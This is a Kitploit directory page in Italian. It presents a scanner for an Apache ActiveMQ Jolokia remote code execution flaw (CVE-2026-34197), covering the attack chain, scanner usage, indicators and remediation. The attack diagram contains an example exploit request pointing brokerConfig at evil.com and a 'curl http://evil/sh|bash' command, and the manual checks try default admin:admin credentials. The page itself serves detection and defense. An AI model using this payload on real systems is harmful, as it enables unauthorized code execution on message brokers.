Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-34197 — # Rileva Apache ActiveMQ Classic RCE (CVE-2026-34197) tramite API Jolokia con script Python e Nmap NSE, verificando accesso non autenticato e vulnerabilità della versione. | Kitploit
Strumenti/GitHubGitHub/keraattin/cve-2026-34197
Scanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza di RetePenetration Testing
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

# Rileva Apache ActiveMQ Classic RCE (CVE-2026-34197) tramite API Jolokia con script Python e Nmap NSE, verificando accesso non autenticato e vulnerabilità della versione.

Vedi Repository
245 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-34197 — RCE in Apache ActiveMQ Classic tramite API Jolokia

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

Una vulnerabilità di esecuzione remota di codice in Apache ActiveMQ Classic che consente a un attaccante di eseguire codice arbitrario invocando l'operazione MBean addNetworkConnector(String) tramite l'API Jolokia (/api/jolokia/). L'attaccante incorpora un parametro brokerConfig dannoso che punta a un file XML Spring remoto, che ActiveMQ recupera e analizza, istanziando oggetti Java arbitrari e ottenendo l'esecuzione di codice.

Nelle , l'endpoint Jolokia è , rendendo questa una RCE non autenticata zero-click.

versioni di ActiveMQ dalla 6.0.0 alla 6.1.1
completamente non autenticato

Questa vulnerabilità è rimasta nascosta nel codebase per 13 anni prima della scoperta con l'assistenza dell'IA.


Sommario

  • Fatti rapidi
  • Cos'è Apache ActiveMQ?
  • Analisi approfondita della vulnerabilità
    • L'architettura: Jolokia e JMX
    • La catena di attacco
    • Il gap di autenticazione
  • Analisi dell'impatto
  • Versioni interessate
  • Rilevamento
    • Scanner Python
    • Script Nmap NSE
    • Verifica manuale
  • Indicatori di compromissione
  • Rimedio
  • Riferimenti
  • Autore

Fatti rapidi

CampoDettaglio
ID CVECVE-2026-34197
VendorApache Software Foundation
ProdottoApache ActiveMQ Classic
Versioni interessateTutte le versioni precedenti alla 5.19.4 e alla 6.2.3
RCE non autenticataVersioni dalla 6.0.0 alla 6.1.1 (Jolokia non ha autenticazione)
CVSS v3.18.8 (Alto)
CWECWE-94 — Controllo improprio della generazione di codice
Vettore di attaccoRete
AutenticazioneRichiesta su 5.x; nessuna dalla 6.0.0 alla 6.1.1
Interazione utenteNessuna
Maturità dell'exploitPoC pubblico disponibile
Corretto inActiveMQ Classic 5.19.4, 6.2.3
Età del bug~13 anni nel codebase
ScopertaRicerca di vulnerabilità assistita dall'IA

Cos'è Apache ActiveMQ?

Apache ActiveMQ Classic è uno dei message broker open-source più ampiamente distribuiti nell'ecosistema Java. Implementa la specifica Java Message Service (JMS) e funge da spina dorsale della comunicazione asincrona in migliaia di ambienti enterprise in tutto il mondo.

ActiveMQ gestisce qualsiasi cosa, dalle code di elaborazione degli ordini e le pipeline di transazioni finanziarie ai flussi di telemetria IoT e ai bus di eventi dei microservizi. Se la tua organizzazione utilizza microservizi basati su Java, architettura event-driven o qualsiasi forma di messaggistica asincrona, c'è una buona probabilità che ActiveMQ sia da qualche parte nello stack.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here

root@kitploit:~
Quando un attaccante compromette ActiveMQ, non ottiene solo una shell su un singolo server. Si trova al **centro di ogni flusso di messaggi** dell'organizzazione, in grado di leggere, modificare, reindirizzare o iniettare messaggi tra sistemi critici.

---

## Analisi Approfondita della Vulnerabilità

### L'Architettura: Jolokia e JMX

**JMX** (Java Management Extensions) è l'interfaccia di gestione standard per le applicazioni Java. Espone gli "MBean" (Managed Beans) che consentono il monitoraggio e il controllo delle parti interne dell'applicazione. ActiveMQ espone gli MBean per la gestione di broker, code, topic, connessioni e altro.

**Jolokia** è un bridge JMX-over-HTTP. Traduce le operazioni JMX in un'API RESTful JSON, rendendo possibile gestire applicazioni Java tramite richieste HTTP senza richiedere un client JMX dedicato.

ActiveMQ Classic include Jolokia integrato, accessibile su `/api/jolokia/` nella porta della console web (predefinita: 8161).```
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

È qui che iniziano i problemi. Jolokia espone tutta la potenza della gestione JMX tramite una semplice API HTTP. E una delle operazioni MBean disponibili sul broker è addNetworkConnector(String).

La Catena di Attacco

L'operazione addNetworkConnector(String) è progettata per creare bridge di rete tra istanze del broker ActiveMQ. Accetta una stringa URI che descrive come connettersi a un altro broker.

ActiveMQ supporta uno schema URI vm:// per connessioni broker in-process. Questi URI supportano un parametro brokerConfig che punta a un file di configurazione Spring XML. E Spring XML può istanziare oggetti Java arbitrari.

Ecco l'intera catena:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘

root@kitploit:~
ActiveMQ sta facendo esattamente ciò per cui è stato progettato: caricare una configurazione del broker. Il problema è che la sorgente della configurazione è controllata dall'attaccante, e Spring XML è di fatto un formato di esecuzione di codice.

### Il Gap di Autenticazione

Questo è ciò che eleva la vulnerabilità da seria a critica:

| Versione ActiveMQ | Stato Auth Jolokia | Impatto |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Autenticato (default: admin:admin) | RCE autenticato, spesso banalmente aggirato |
| 6.0.0 a 6.1.1 | **Completamente non autenticato** | **RCE non autenticato** |
| 6.1.2 a 6.2.2 | Autenticato | RCE autenticato |
| 5.19.4+ / 6.2.3+ | Corretto (patch) | Non vulnerabile |

Su ActiveMQ 6.0.0 fino a 6.1.1, l'endpoint Jolokia richiede **zero autenticazione**. Chiunque possa raggiungere la porta 8161 ottiene esecuzione remota di codice non autenticata.

Anche sulle versioni in cui Jolokia richiede autenticazione, le credenziali di default `admin:admin` sono ampiamente note e spesso lasciate invariate in ambienti di sviluppo, staging e produzione.

---

## Analisi dell'Impatto

**Impatto immediato sull'host del broker:**
- Esecuzione remota completa di codice con i privilegi del processo ActiveMQ
- Accesso a tutte le code di messaggi, topic e messaggi memorizzati
- Capacità di leggere/modificare/iniettare messaggi in transito
- Accesso a file di configurazione, keystore e credenziali memorizzate

**Impatto a valle (tramite manipolazione dei messaggi):**
- Iniezione di messaggi malevoli nelle code di elaborazione
- Modifica di transazioni finanziarie, ordini o comandi in volo
- Intercettazione di dati sensibili che fluiscono attraverso il broker
- Interruzione di tutti i servizi dipendenti dai messaggi

**Amplificazione del rischio aziendale:**
- ActiveMQ si trova all'intersezione di ogni applicazione che lo utilizza
- Un singolo broker compromesso può influenzare dozzine di servizi connessi
- I broker di messaggi sono tipicamente posizionati in zone di rete fidate con ampio accesso
- Il movimento laterale è semplice dalla posizione di rete del broker```
  What an attacker can do after exploitation:

  ┌─────────────────────────────────────────────────────────┐
  │               Compromised ActiveMQ Broker               │
  └────┬───────────┬───────────┬───────────┬──────────┬─────┘
       │           │           │           │          │
       ▼           ▼           ▼           ▼          ▼
  Read/modify   Inject       Pivot to     Intercept    Deploy
  messages      malicious    connected    creds in     persistent
  in transit    messages     systems      messages     backdoor

Versioni Interessate

VersioneStato
ActiveMQ Classic 6.2.3+Corretto
ActiveMQ Classic 5.19.4+Corretto
ActiveMQ Classic 6.0.0 fino a 6.2.2Vulnerabile (6.0.0 fino a 6.1.1 = non autenticato)
ActiveMQ Classic < 5.19.4Vulnerabile (autenticato)
ActiveMQ ArtemisNon interessato (codebase diversa)

Rilevamento

Scanner Python

Lo script Python rileva istanze ActiveMQ vulnerabili tramite un'analisi in più passaggi.

Come funziona:

  1. Controllo Endpoint Jolokia — Verifica se /api/jolokia/ è accessibile senza autenticazione (HTTP 200 = aperto, 401 = autenticazione richiesta)
  2. Test Credenziali Predefinite — Se Jolokia richiede autenticazione, prova admin:admin, user:user, admin:activemq
  3. Rilevamento Versione — Analizza le pagine /admin/ e / per stringhe di versione ActiveMQ utilizzando il pattern matching con espressioni regolari
  4. Accessibilità MBean — Esegue una query di ricerca Jolokia sicura per org.apache.activemq:type=Broker per confermare che il percorso di exploit esista

Non vengono inviati payload di exploit. Non vengono eseguiti comandi. Lo scanner osserva solo l'accessibilità degli endpoint e le informazioni sulla versione.

Utilizzo:```bash

Install dependencies

pip install -r requirements.txt

Single target

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161

With custom credentials

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret

Bulk scan from file with verbose output

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v

HTTPS with SSL verification disabled (default)

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161

Increased timeout for slow networks

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20

root@kitploit:~
**Opzioni:**

| Flag | Descrizione | Predefinito |
|------|-------------|---------|
| `-t`, `--target` | URL del singolo target (es. `http://host:8161`) | — |
| `-f`, `--file` | File con URL dei target, uno per riga (i commenti `#` sono supportati) | — |
| `-u`, `--username` | Nome utente per l'autenticazione Jolokia | — |
| `-p`, `--password` | Password per l'autenticazione Jolokia | — |
| `-o`, `--output` | Salva i risultati in un file JSON | — |
| `--timeout` | Timeout di connessione in secondi | `10` |
| `--verify-ssl` | Abilita la verifica del certificato SSL | Disabilitato |
| `-v`, `--verbose` | Output dettagliato con informazioni complete | Off |

**Esempio di output:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...

======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
  Jolokia Accessible:    YES
  Requires Auth:         NO (unauthenticated)
  ActiveMQ Version:      6.1.0
  Vulnerable:            YES
  Unauth RCE (6.0-6.1): YES — CRITICAL
  Broker MBean Access:   YES

  Details:
    - Jolokia API accessible WITHOUT authentication
    - Detected ActiveMQ version: 6.1.0
    - Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
      CRITICAL: No auth required!
    - Broker MBean accessible: [org.apache.activemq:type=Broker,...]

======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================

Script NSE di Nmap```bash

Install the NSE script

sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb

Basic scan

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan a subnet

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24

Multiple common ports

nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan targets from a file

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt

With service version detection

nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

root@kitploit:~
**Esempio di output Nmap:**```
PORT     STATE SERVICE
8161/tcp open  http
| CVE-2026-34197_ActiveMQ_Jolokia:
|   VULNERABLE:
|   Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
|     State: VULNERABLE
|     Risk level: CRITICAL
|     ActiveMQ Version: 6.1.0
|     Jolokia Accessible: true (unauthenticated)
|     Description:
|       CRITICAL: Jolokia API is accessible without authentication on
|       ActiveMQ 6.1.0, enabling unauthenticated remote code execution
|       via addNetworkConnector MBean.
|     References:
|_      https://nvd.nist.gov/vuln/detail/CVE-2026-34197

Verifica Manuale

Se vuoi controllare manualmente con curl:```bash

Step 1: Check if Jolokia is accessible (should return JSON if open)

curl -sk http://:8161/api/jolokia/ | python3 -m json.tool

Step 2: Check with default credentials (if Step 1 returns 401)

curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool

Step 3: Check MBean accessibility (safe read-only query)

curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool

root@kitploit:~
Se il Passo 1 restituisce una risposta JSON con le informazioni dell'agente Jolokia, l'endpoint non è autenticato. Se il Passo 2 funziona con le credenziali predefinite, hai accesso autenticato. In entrambi i casi, se l'MBean del broker è accessibile, il percorso di sfruttamento esiste.

---

## Indicatori di Compromissione

Cerca questi segnali nel tuo ambiente:

| Indicatore | Dove Controllare | Cosa Cercare |
|:---|:---|:---|
| Accesso Jolokia | Log di accesso della console web | POST a `/api/jolokia/` contenente `addNetworkConnector` |
| Recupero in uscita | Log di rete / firewall | Richieste HTTP da ActiveMQ a host esterni inattesi |
| Caricamento Spring XML | Log di ActiveMQ | Riferimenti a URI `xbean:http://` |
| Connettori di rete | Configurazione del broker | URI `vm://` con parametri `brokerConfig` che non hai creato tu |
| Processi figli | Monitoraggio dei processi | Processi inattesi generati dal processo Java di ActiveMQ |

**Comandi di indagine:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/

# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors

# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java

# Check for unexpected child processes
ps aux --forest | grep -A5 activemq

Rimedio

Azioni immediate (eseguile subito):

  1. Aggiorna ActiveMQ Classic alla versione 5.19.4 o 6.2.3 (a seconda del tuo branch)
  2. Limita l'accesso a Jolokia aggiungendo regole firewall o ACL su reverse proxy per bloccare l'accesso esterno a /api/jolokia/
  3. Cambia le credenziali predefinite se stai usando admin:admin sulla console web

A breve termine (questa settimana):

  1. Controlla i log di accesso di Jolokia per individuare segni di sfruttamento (cerca operazioni addNetworkConnector)
  2. Rivedi i network connector su tutte le istanze ActiveMQ per voci non autorizzate
  3. Verifica la presenza di connessioni in uscita inattese dagli host broker ActiveMQ
  4. Ruota le credenziali per tutti i servizi che si connettono tramite il broker

A lungo termine:

  1. Segmentazione di rete per l'infrastruttura del message broker (VLAN di gestione dedicata)
  2. Monitoraggio dei pattern di accesso a Jolokia con alerting su operazioni MBean inattese
  3. Includi ActiveMQ nei cicli regolari di scansione delle vulnerabilità e gestione delle patch
  4. Disabilita Jolokia completamente se la gestione JMX non è necessaria, oppure vincolalo solo a localhost

Riferimenti

  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API
  • SecurityWeek — RCE Bug Lurked in Apache ActiveMQ Classic for 13 Years
  • Help Net Security — Apache ActiveMQ RCE Vulnerability CVE-2026-34197
  • CSO Online — Claude Uncovers a 13-year-old ActiveMQ RCE Bug
  • CCB Belgium — Warning: High Severity Vulnerability in Apache ActiveMQ
  • CSA Singapore — Critical Vulnerability in Apache ActiveMQ Classic
  • GBHackers — Claude Identifies Critical 13-Year-Old RCE Vulnerability

Autore

Kerem Oruç — Ingegnere della cybersecurity

  • GitHub: @keraattin
  • Twitter: @keraattin
Scarica lo strumento